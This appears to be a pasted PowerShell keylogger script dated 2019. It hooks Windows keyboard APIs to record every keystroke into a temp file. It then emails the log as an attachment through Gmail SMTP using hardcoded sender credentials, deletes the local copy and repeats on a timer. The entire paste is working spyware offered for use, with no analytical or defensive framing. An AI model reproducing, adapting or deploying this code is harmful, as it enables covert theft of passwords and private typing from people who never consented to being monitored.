· 6 years ago · Oct 08, 2019, 11:26 AM
1# Edit only this section!
2$TimesToRun = 10
3$RunTimeP = 10
4$From = "juanananananananaan@gmail.com"
5$Pass = "Idontknow"
6$To = "juanananananananaan@gmail.com"
7$Subject = "Keylogger Results"
8$body = "Keylogger Results"
9$SMTPServer = "smtp.gmail.com"
10$SMTPPort = "587"
11$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
12############################
13
14
15
16
17$TimeStart = Get-Date
18$TimeEnd = $timeStart.addminutes($RunTimeP)
19
20
21
22#requires -Version 2
23function Start-KeyLogger($Path="$env:temp\keylogger.txt")
24{
25 # Signatures for API Calls
26 $signatures = @'
27[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
28public static extern short GetAsyncKeyState(int virtualKeyCode);
29[DllImport("user32.dll", CharSet=CharSet.Auto)]
30public static extern int GetKeyboardState(byte[] keystate);
31[DllImport("user32.dll", CharSet=CharSet.Auto)]
32public static extern int MapVirtualKey(uint uCode, int uMapType);
33[DllImport("user32.dll", CharSet=CharSet.Auto)]
34public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
35'@
36
37
38
39 # load signatures and make members available
40 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
41
42 # create output file
43 $null = New-Item -Path $Path -ItemType File -Force
44
45
46
47 try
48 {
49
50
51
52 # create endless loop. When user presses CTRL+C, finally-block
53 # executes and shows the collected key presses
54 $Runner = 0
55 while ($TimesToRun -ge $Runner) {
56 while ($TimeEnd -ge $TimeNow) {
57 Start-Sleep -Milliseconds 40
58
59 # scan all ASCII codes above 8
60 for ($ascii = 9; $ascii -le 254; $ascii++) {
61 # get current key state
62 $state = $API::GetAsyncKeyState($ascii)
63
64
65
66 # is key pressed?
67 if ($state -eq -32767) {
68 $null = [console]::CapsLock
69
70
71
72 # translate scan code to real code
73 $virtualKey = $API::MapVirtualKey($ascii, 3)
74
75
76
77 # get keyboard state for virtual keys
78 $kbstate = New-Object Byte[] 256
79 $checkkbstate = $API::GetKeyboardState($kbstate)
80
81
82
83 # prepare a StringBuilder to receive input key
84 $mychar = New-Object -TypeName System.Text.StringBuilder
85
86
87
88 # translate virtual key
89 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
90
91
92
93 if ($success)
94 {
95 # add key to logger file
96 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
97 }
98 }
99 }
100 $TimeNow = Get-Date
101 }
102 send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
103 Remove-Item -Path $Path -force
104 }
105 }
106 finally
107 {
108 # open logger file in Notepad
109 exit 1
110 }
111}
112
113
114
115# records all key presses until script is aborted by pressing CTRL+C
116# will then open the file with collected key codes
117Start-KeyLogger